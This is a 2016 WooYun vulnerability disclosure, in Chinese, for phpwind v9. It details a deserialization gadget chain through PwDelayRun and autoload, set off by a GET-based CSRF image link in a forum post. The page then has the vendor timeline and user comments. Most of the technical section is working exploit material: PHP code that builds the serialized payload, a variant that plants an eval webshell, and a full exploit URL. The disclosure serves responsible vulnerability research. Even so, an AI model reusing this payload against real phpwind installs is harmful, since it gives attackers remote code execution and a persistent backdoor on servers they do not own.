当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0175815

漏洞标题:Phpwind GET型CSRF任意代码执行

相关厂商:phpwind

漏洞作者: phith0n

提交时间:2016-02-14 20:33

修复时间:2016-05-18 17:30

公开时间:2016-05-18 17:30

漏洞类型:命令执行

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-14: 细节已通知厂商并且等待厂商处理中
2016-02-18: 厂商已经确认,细节仅向厂商公开
2016-02-21: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-13: 细节向核心白帽子及相关领域专家公开
2016-04-23: 细节向普通白帽子公开
2016-05-03: 细节向实习白帽子公开
2016-05-18: 细节向公众公开

简要描述:

反序列化漏洞导致代码执行。
GET型CSRF,直接插入帖子,管理员浏览后执行任意代码。
效果类似: http://www.wooyun.org/bugs/wooyun-2014-064886

详细说明:

这个洞其实很有意思,最可惜的地方就是其触发位置在后台,否则它将是一个绝无仅有的好洞。
0x01 后台反序列化位置
首先纵览整个phpwindv9,反序列化的位置很多,但基本都是从数据库里取出的,很难完全控制序列化字符串。
最后,找到三处:

14552693057274.jpg


可恶的是,三处都在后台的Task模块下。Task模块是『任务中心』功能,只有能进入后台的用户才可以访问:

14552693582356.jpg


随便打开一个, src/applications/task/admin/TaskConditionMemberController.php

class TaskConditionMemberController extends AdminBaseController{
/* (non-PHPdoc)
* @see AdminBaseController::beforeAction()
*/
public function beforeAction($handlerAdapter) {
parent::beforeAction($handlerAdapter);
$var = unserialize($this->getInput('var'));
if (is_array($var)) {
$this->setOutput($var, 'condition');
}
}


beforeAction将会在实际执行Action之前执行。这里$var = unserialize($this->getInput('var'));,从Input中获取var参数的值,进行反序列化。
这个Input可以来自get/post/cookie。我们只要在phpwind里找到反序列化可以利用的点,就能在这里触发反序列化漏洞。
0x02 PwDelayRun类__destruct方法
全局搜一下关键词__destruct,很快找到了PwDelayRun类:

class PwDelayRun {

private static $instance = null;
private $_callback = array();
private $_args = array();
private function __construct() {
}
public function __destruct() {
foreach ($this->_callback as $key => $value) {
call_user_func_array($value, $this->_args[$key]);
}
}
...
}


可见__destruct方法,其中遍历了_callback数组,用call_user_func_array执行任意函数。这里如果_callback可控,那么就可以直接执行assert+任意代码了。
原本是一个十分简单的漏洞,但我们在TaskConditionMemberController::beforeAction::unserialize里下断点,执行var_dump(get_declared_classes());exit;,查看当前已经定义的类:

Array
(
[0] => stdClass
[1] => Exception
...
[330] => WindMysqlPdoAdapter
[331] => WindResultSet
[332] => AdminUserBo
[333] => AdminLogService
[334] => WindFile
)


其中并没有PwDelayRun类。看来在反序列化的时候,并没有加载这个类,所以我即使构造了利用方法,也『造』不出PwDelayRun对象。
那怎么办?
0x03 利用spl_autoload包含任意php文件
在Joomla那个反序列化漏洞( https://**.**.**.**/PENETRATION/joomla-unserialize-code-execute-vulnerability.html )里,提到了一个方法。
因为Joomla内的spl_autoload会根据类名自动加载文件,所以当时构造了一个JSimplepieFactory类对象,而factory.php中包含了import目标类的方法:

14552723497996.jpg


所以成功反序列化了simplepie类。
回到Phpwind。同道理,我们在Phpwind中看看哪些文件包含了PwDelayRun:

14552768531399.jpg


静态包含PwDelayRun的就只有PwConfigService类。我在刚才获得的类里看看,不幸的是,PwConfigService也没有加载。
继续查找PwConfigService,并没有静态加载这个类的方法:

14552769672714.jpg


所以我们这个链就断了。
但利用spl_autoload这个思路不能断,我们思考一下,现代php框架中必然存在autoload,在反序列化的过程中发现了不存在的类『PwDelayRun』,就会直接传入注册好的spl_autoload函数中。我在 /wind/Wind.php 中,可以找到spl_autoload_register函数的调用:

public static function init() {
self::$isDebug = WIND_DEBUG;
function_exists('date_default_timezone_set') && date_default_timezone_set('Etc/GMT+0');
self::register(WIND_PATH, 'WIND', true);
if (!self::$_isAutoLoad) return;
if (function_exists('spl_autoload_register'))
spl_autoload_register('Wind::autoLoad');
else
self::$_isAutoLoad = false;
self::_loadBaseLib();
}


将Wind::autoload注册为自动加载函数。跟进Wind::autoLoad

public static function autoLoad($className, $path = '') {
if ($path)
include $path . '.' . self::$_extensions;
elseif (isset(self::$_classes[$className])) {
include self::$_classes[$className] . '.' . self::$_extensions;
} else
include $className . '.' . self::$_extensions;
}


autoLoad第二个参数是没有值的,所以这里,最后会走到这一步:include $className . '.' . self::$_extensions;。
看到include我就有点激动,但静下心想一下发现还是有问题的。因为这里的className是没有路径的,而PwDelayRun类在src/library/utility/PwDelayRun.php文件中,我需要传入路径才可以包含到这个类。
虽然类名不能包含特殊字符,但其实类名中是可以包含\的:

14552966463924.jpg


这涉及到php中的命名空间的知识。学过新型框架的同学肯定对命名空间十分熟悉,所以我没必要多介绍。命名空间中可以包含\,而在windows下,\也可以作为路径的分隔符。(由此可见,这个漏洞仅限于Windows服务器)
所以这里,我可以将类名设置为src\library\utility\PwDelayRun(其实就是src\library\utility命名空间下的PwDelayRun类),最后在Wind::autoload里进行包含 include src\library\utility\PwDelayRun.php
0x04 利用数组+命名空间加载相同名字的类
还有一个问题,我们这里将类名设置为src\library\utility\PwDelayRun,而:整个phpwind全局是没有使用命名空间的,也就是默认命名空间为\,但现在的PwDelayRun类所在的命名空间为src\library\utility。
这样,即使我包含了src\library\utility\PwDelayRun.php文件,反序列化的时候是实例化的src\library\utility\PwDelayRun类。但phpwind的命名空间是\,上下文存在的类是\PwDelayRun类,还是无法正常进行(因为找不到src\library\utility\PwDelayRun类)。
我想了一下,其实也好办,只要变通一下。我们只要生成src\library\utility\PwDelayRun类和\PwDelayRun类两个对象,放在一个数组中,在反序列化前者的过程中include目标文件,在反序列化后者的过程中拿到PwDelayRun对象。
我构造了一个POC:

// test1.php
header("Content-Type: text/plain");
require_once "test2.php";
class PwDelayRun{
private $_callback;
private $_args;
function __construct()
{
$this->_callback = [
'assert'
];
$this->_args = [
["phpinfo();exit;"]
];
}
}
$obj = [
new src\library\utility\PwDelayRun(),
new PwDelayRun()
];
echo urlencode(serialize($obj));
//test2.php
namespace src\library\utility;
class PwDelayRun{
}


执行test1.php即可拿到POC对象。

14552982498443.jpg


将这个字符串传入var参数,结果……

14552982909803.jpg


啥事也没发生……这是什么情况?
0x05 利用stdClass代替数组绕过限制
我们回看TaskConditionMember类,看看反序列化的那个beforeAction函数:

public function beforeAction($handlerAdapter) {
parent::beforeAction($handlerAdapter);
$var = unserialize($this->getInput('var'));
if (is_array($var)) {
$this->setOutput($var, 'condition');
}
}


后面有个判断is_array,是它在捣鬼。
如果var是数组的话,就设置到output里。所以,最后该对象并没有销毁,没有销毁那么实际上就没有调用__destruct函数,所以也无法执行任意代码了。
要让is_array返回false,只需序列化一个非数组对象即可。其实在php源码层,对象是用数组来模拟的,我们只需要用一个对象代替数组即可。
php最简单的对象就是stdClass,我将POC改为如下即可:

// test.php
header("Content-Type: text/plain");
require_once "test2.php";
class PwDelayRun{
private $_callback;
private $_args;
function __construct()
{
$this->_callback = [
'assert'
];
$this->_args = [
["phpinfo();file_put_contents('shell.php','<?php eval(\$_REQUEST[233]); ?>');exit;"]
];
}
}
$obj = new stdClass();
$obj->a = new src\library\utility\PwDelayRun();
$obj->b = new PwDelayRun();
echo urlencode(serialize($obj));


生成序列化字符串:

14552990346352.jpg


传入var参数:

14552990930951.jpg


万事大吉,成功!管理员只需拥有后台『论坛任务』功能,即可直接执行任意代码。
0x06 前台利用CSRF起飞
这个漏洞本是一个利用技巧很妙的漏洞,但最关键的问题是其出现在后台,利用门槛太高。
但这个漏洞又有一个特点,那就是其为GET方法,只需要一个URL即可触发。所以,我们可以用类似Discuz这个漏洞的方法: http://**.**.**.**/bugs/wooyun-2014-064886 ,将URL插入前台帖子的图片中:

14552998354239.jpg


结果……phpwind给我把&都转义了,无法正常执行。
不过没关系,只要我写一个302跳转,跳转到目标URL即可:

14553003565673.jpg


将这个php作为图片地址写入帖子:

14553001590048.jpg


管理员浏览:

14553002122747.jpg


获得webshell:

14553002509730.jpg

漏洞证明:

**.**.**.**/phpwind/admin.php?m=task&c=TaskConditionMember&a=profile&var=O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A30%3A%22src%5Clibrary%5Cutility%5CPwDelayRun%22%3A0%3A%7B%7Ds%3A1%3A%22b%22%3BO%3A10%3A%22PwDelayRun%22%3A2%3A%7Bs%3A21%3A%22%00PwDelayRun%00_callback%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22assert%22%3B%7Ds%3A17%3A%22%00PwDelayRun%00_args%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A15%3A%22phpinfo%28%29%3Bexit%3B%22%3B%7D%7D%7D%7D

修复方案:

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-02-18 17:26

厂商回复:

您好,漏洞确认存在,正在处理中。感谢您对阿里巴巴安全的支持与关注!

最新状态:

暂无


漏洞评价:

评价

  1. 2016-02-18 17:27 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:941 漏洞数:108 )

    吊炸天

  2. 2016-02-18 17:33 | 随风的风 ( 普通白帽子 | Rank:244 漏洞数:91 | 微信公众号:233sec 不定期分享各种漏洞思...)

    提交时间: 2016-02-14 20:33确认时间:2016-02-18 17:26为啥在最新提交里面?

  3. 2016-02-18 17:33 | 偶然 ( 普通白帽子 | Rank:547 漏洞数:134 | 我是天空里一片云。)

    阿里打了鸡血啊,这么速度

  4. 2016-02-18 17:45 | 偶然 ( 普通白帽子 | Rank:547 漏洞数:134 | 我是天空里一片云。)

    @随风的风 对哦,没看确认时间

  5. 2016-02-18 17:58 | phith0n 认证白帽子 ( 普通白帽子 | Rank:816 漏洞数:126 | 一个想当文人的黑客~)

    @随风的风 走了内部评估流程,所以慢了几天

  6. 2016-02-18 18:43 | mramydnei ( 普通白帽子 | Rank:400 漏洞数:87 )

    @phith0n 土豪..快请我兹饭!

  7. 2016-02-18 19:18 | 随风的风 ( 普通白帽子 | Rank:244 漏洞数:91 | 微信公众号:233sec 不定期分享各种漏洞思...)

    @phith0n 土豪..快请我兹饭!

  8. 2016-02-18 20:43 | menmen519 ( 普通白帽子 | Rank:950 漏洞数:166 | http://menmen519.blog.sohu.com/)

    @phith0n 这么犀利的漏洞为什么不打雷

  9. 2016-02-18 21:32 | 404notfound ( 普通白帽子 | Rank:417 漏洞数:115 | 考研中,有事请留言)

    师傅叼炸天

  10. 2016-02-18 22:19 | 隐形人真忙 ( 普通白帽子 | Rank:169 漏洞数:21 | 关注安全研发与漏洞)

  11. 2016-03-17 17:38 | 你大爷在此 百无禁忌 ( 路人 | Rank:18 漏洞数:9 | 迎风尿三丈 顺风八十米)

    流弊